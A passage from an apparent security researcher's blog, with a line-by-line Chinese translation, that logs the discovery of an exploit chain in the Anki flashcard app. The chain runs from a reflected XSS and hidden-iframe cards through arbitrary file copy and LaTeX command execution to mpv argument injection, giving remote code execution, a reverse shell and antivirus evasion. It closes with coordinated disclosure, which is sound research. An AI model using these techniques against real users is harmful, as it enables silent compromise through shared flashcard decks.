- 24/03 – Major roadblock, I had been doing all the API testing with a separate python script because it made making the payloads with protobuf a heck of a lot easier. But when I went to insert it into an Anki card (using JS fetch) I got the API permission denied error
24/03 -主要的障碍,我一直在用一个单独的python脚本做所有的API测试,因为它使使用protobuf的有效负载变得容易得多。但是当我把它插入Anki卡(使用JS fetch)时,我得到了API权限拒绝错误- Author has considered malicious JS interacting with the API, and therefore added in a check to see where the original request is being made from
作者考虑了恶意JS与API的交互,因此添加了一个检查,以查看原始请求是从哪里发出的 - Looking at the codebase for the flask webserver, it reflects the URL path if it gives a 404 – therefore we have a reflected XSS and to make things simpler, we can base64 a payload to run
查看flask web服务器的代码库,如果它给出404,它将反映URL路径-因此,我们有一个反射的XSS,为了使事情更简单,我们可以使用base64运行有效负载 - We need to somehow embed this into the card so that the user doesn’t know and it runs in the background -> iframe
我们需要以某种方式将其嵌入到卡中,这样用户就不会知道它在后台运行-> iframe - Realises Anki uses protobuf, and try to figure out how to send the path for image occlusion note being added
意识到Anki使用protobuf,并尝试找出如何发送路径的图像遮挡说明正在添加 - The
addImageOcclusion
API call takes a path to a file and then copies it to the media folder, creating an image occlusion card for it – does not check the filetype so we can copy any file
addImageOcclusion
API调用获取文件的路径,然后将其复制到媒体文件夹,并为其创建图像遮挡卡-不检查文件类型,因此我们可以复制任何文件 - Then we can upload the file using JS as it can access the media folder contents through the webserver
- Also realise that we can use
kpsewich
andtexosquery-jre8
to execute commands to get information about the system and ENV variables
- Author has considered malicious JS interacting with the API, and therefore added in a check to see where the original request is being made from
- 26/03 – Looking into audio players, like LAME, MPV and MPLAYER. It uses
subprocess
to run the processes, and they are bundled into the windows version.- For Linux, it creates a named pipe and calls an instance of
mpv
with anIPC
server pointed at the named pipe. Looking at the IPC syntax and how Anki handles the code, it isn’t exploitable. We did think about possibly being able to write to it using the LaTeX vector, but that happens at compile time and not run time, and we don’t know what the named socket would be. - For Windows, making named pipes is difficult, so it calls a new
mpv
instance for each audio file being played. Now,popen
only allows us to feed arguments directly into the command called, so we’d need to find anmpv
argument to run code for RCE. - Tried to play a
swf
file for Flash scripting, but could not getmpv
to work with it.
已尝试播放swf
文件以进行Flash脚本编写,但无法使mpv
使用该文件。 - Passing in custom arguments, two lists get combined and ran by
popen
传入自定义参数,两个列表被合并并由popen
运行 - Can pass in
--script
to point to a Lua file to run! During testing, I removedsubprocess=stdout
on thepopen
command and gaslit my self into thinking it was RCE…soon, just not yet. We can only pass in one argument to mpv. The reason its not RCE just yet is because we are replacing the media file location with the script command and therefore no media file is played, because of this, mpv exits immediately and so the script does not run. We somehow need to pass in–-idle=yes
and—script=run.lua
可以传入--script
来指向一个Lua文件运行!在测试过程中,我删除了popen
命令上的subprocess=stdout
,并让自己认为这是RCE。快了,只是还没到时候。我们只能向mpv传递一个参数。它不是RCE的原因是因为我们正在用脚本命令替换媒体文件位置,因此没有播放媒体文件,因此,mpv立即退出,因此脚本不会运行。我们需要以某种方式传入–-idle=yes
和—script=run.lua
- Anti-Virus will not pickup the Anki card!
防病毒软件不会拾取Anki卡!
- For Linux, it creates a named pipe and calls an instance of
- 29/03 – Work out that you can use
--include source.conf
which then allows you to add extra arguments to give. And we can generate the config file and Lua script using the latex hack. We don’t know the username for the %temp% folder, so we have to use a relative path for referencing the config file
29/03 -你可以使用--include source.conf
,然后允许你添加额外的参数。我们可以使用latex hack生成配置文件和Lua脚本。我们不知道%temp%文件夹的用户名,因此必须使用相对路径来引用配置文件- Using Lua,
os.exec
shows PowerShell window and only runs when user views card – we also can’t get a reverse shell because no socket module. So instead we can inject malicious code into a python script that Anki uses to get a clean reverse shell on Anki’s load
使用Lua,os.exec
显示PowerShell窗口,仅在用户查看卡片时运行-我们也无法获得反向shell,因为没有socket模块。因此,我们可以将恶意代码注入到Anki使用的Python脚本中,以便在Anki的负载上获得干净的反向shell
- Using Lua,
- 30/03 – Realise the RCE can be simplified to not rely on LaTeX. Create payloads for stealth.
30/03 -实现RCE可以简化为不依赖LaTeX。制造隐形装置
Disclaimer & Thanks 免责声明和感谢
As it goes without saying, only hack things you have permission to! In our case, Anki had a clear security disclosure program, and we worked closely with TALOS and Dae (Author) to fix these vulnerabilities as soon as possible.
不言而喻,只破解您有权破解的东西!在我们的案例中,Anki有一个明确的安全披露计划,我们与TALOS和Dae(作者)密切合作,尽快修复这些漏洞。
Working with Autumn has been an amazing experience. They’re full of knowledge and really helped manage all the bureaucracy involved in disclosing vulnerabilities! Please check out their site; they have some fantastic reads.
与秋天一起工作是一次奇妙的经历。他们充满了知识,并真正帮助管理所有涉及披露漏洞的官僚机构!请查看他们的网站;他们有一些很棒的阅读。
![Studying 0days: How we hacked Anki, the world's most popular flashcard app](https://skii.dev/content/images/2024/07/image-52.png)